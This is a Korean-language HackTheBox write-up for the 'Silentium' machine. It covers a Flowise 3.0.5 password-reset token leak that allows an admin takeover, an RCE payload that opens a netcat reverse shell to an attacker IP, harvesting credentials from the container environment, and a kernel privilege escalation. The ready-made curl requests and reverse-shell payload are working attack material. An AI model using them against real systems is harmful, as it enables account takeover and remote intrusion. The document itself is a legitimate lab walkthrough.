HTB - Silentium 문제 풀이 입니다.
Port Scanning
PortScanning 시 포트가 22번 포트와 80포트가 열려있다.
- 22 : OpenSSH 9.6p1
- 80 : nginx 1.24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -Pn -sC -sV -p 22,80 --open 10.129.48.169 -oA 10_129_48_16_tcp_detail
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-04 23:55 KST
Nmap scan report for 10.129.48.169
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
VHost Scan
- FFUF 스캔으로 VHOST 검색 시
Flowise서비스를 확인할 수 있음 - Flowise 3.0.5
- LangChain(랭체인)을 기반으로 하여, 코딩 없이 시각적 드래그 앤 드롭 방식으로 대형 언어 모델(LLM) 애플리케이션을 구축하고 배포할 수 있는 오픈소스 노코드(No-code) 도구
1
2
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://silentium.htb/ -H "Host: FUZZ.silentium.htb" -fs 178
1
Flowise 3.0.5, behind nginx/1.24.0 (Ubuntu)
CVE-2025-58434(Crential Leak)
- 비밀번호 찾기를 통해 인증우회가 가능한 CVE가 있습니다.
https://github.com/advisories/GHSA-wgpv-6j63-x5ph
- 존재하지 않는 계정과 존재하는 계정의 응답 차이를 이용해서 쉽게 계정을 확인할 수 있음
1
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb"}}'
1
2
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"tETLo9iGQT5VqRs08ITcxjt0ViMBWzRmAgJ5fm1cx5enNsP55hExv2Z8TGQ2B35q","tokenExpiry":"2026-05-04T15:46:24.642Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-05-04T15:31:24.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
- TEMP 토큰을 얻고 해당 토큰으로 비밀번호를 변경할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb","tempToken":"tETLo9iGQT5VqRs08ITcxjt0ViMBWzRmAgJ5fm1cx5enNsP55hExv2Z8TGQ2B35q","password":"Password123!"}}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 04 May 2026 15:35:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-i6JOGMcF5chFAlvT4iA1aEFz2sI"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$RvSuNPeovBscAAMgz6ujves8EU5TzYjuCFfCU8JPrVNYnvaoDkblu","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-05-04T15:35:40.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
CVE-2025-59528 (RCE)
- 해당 버전에는 추가로 RCE 취약점이 존재합니다.
https://github.com/advisories/GHSA-3gcm-f6qx-ff7p
- payload.json 파일 생성
1
2
3
4
5
6
7
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.236 7777 >/tmp/f');return 1;})()} )"
}
}
- RCE 실행
1
2
3
4
curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-H "Content-Type: application/json" \
-d @payload.json
SSH Credential Leak
로그인 한 계정은 ROOT 이지만 도커 환경의 계정입니다.
env 명령을 통해 환경 변수를 출력 시 password 확인이 가능함
패스워드는 SMTP_PASSWORD 로 SSH 로그인이 가능함
- FLOWISE_PASSWORD=F1l3_d0ck3r
- SMTP_PASSWORD=r04D!!_R4ge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
OLDPWD=/home/node
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
CVE-2026-31431(Copy-Fail)
LPE는 문제 의도는 이게 아닐텐데 최근에 티오리에서 발견한 Copy Fail LPE 공격으로 FLAG를 얻었음
1
2
3
4
5
6
7
8
9
10
11
ben@silentium:/tmp$ vim ex.py
ben@silentium:/tmp$ python3 ex.py
# id
uid=0(root) gid=1000(ben) groups=1000(ben),100(users)
# clear
TERM environment variable not set.
# id
uid=0(root) gid=1000(ben) groups=1000(ben),100(users)
# cat /root/root.txt
Conclusion
Flowise 페이지를 발견했을떄 js번들링 떄문에 버전이랑 API 찾는게 귀찮았는데, codex로 돌리니 금방 나오네요.
회사에서도 AI를 적극적으로 사용할 수 있는 날이 왔으면 좋겠습니다. 허허
특히 LPE의 경우 최근에 티오리에서 발견한 CopyFail을 사용했는데, 손쉽게 ROOT 권한을 얻었습니다.
여러 리눅스 및 배포판에서 사용 가능한 취약점이 파급력이 큰거 같습니다.
운영계에서 바로 사용해 보기는 어려울듯 합니다ㅠㅠ
커널 페이지 캐시를 건드려서 재부팅 하면 문제는 없지만, 가용성 때문에….


